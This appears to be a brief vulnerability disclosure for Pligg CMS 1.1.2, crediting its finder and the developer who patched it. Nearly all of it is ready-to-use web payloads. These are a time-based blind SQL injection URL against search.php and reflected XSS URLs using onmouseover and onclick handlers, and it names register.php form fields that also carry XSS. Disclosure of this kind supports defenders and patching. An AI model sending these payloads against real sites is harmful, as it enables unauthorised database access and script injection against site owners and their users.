Credit: Michael Brooks Bug Fix in 1.1.2: http://www.pligg.com/blog/1174/pligg-cms-1-1-2-release/ Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg_1.1.2/search.php?adv=1&status= 'and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search +&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 XSS: http://host/pligg_1.1.2/?xss='onmouseover=alert(1);// http://host/pligg_1.1.2/?search=" onclick=alert(1) a= The "onclick" event can be used as reflective xss on /register.php using the following post variables: reg_username reg_email reg_password reg_password2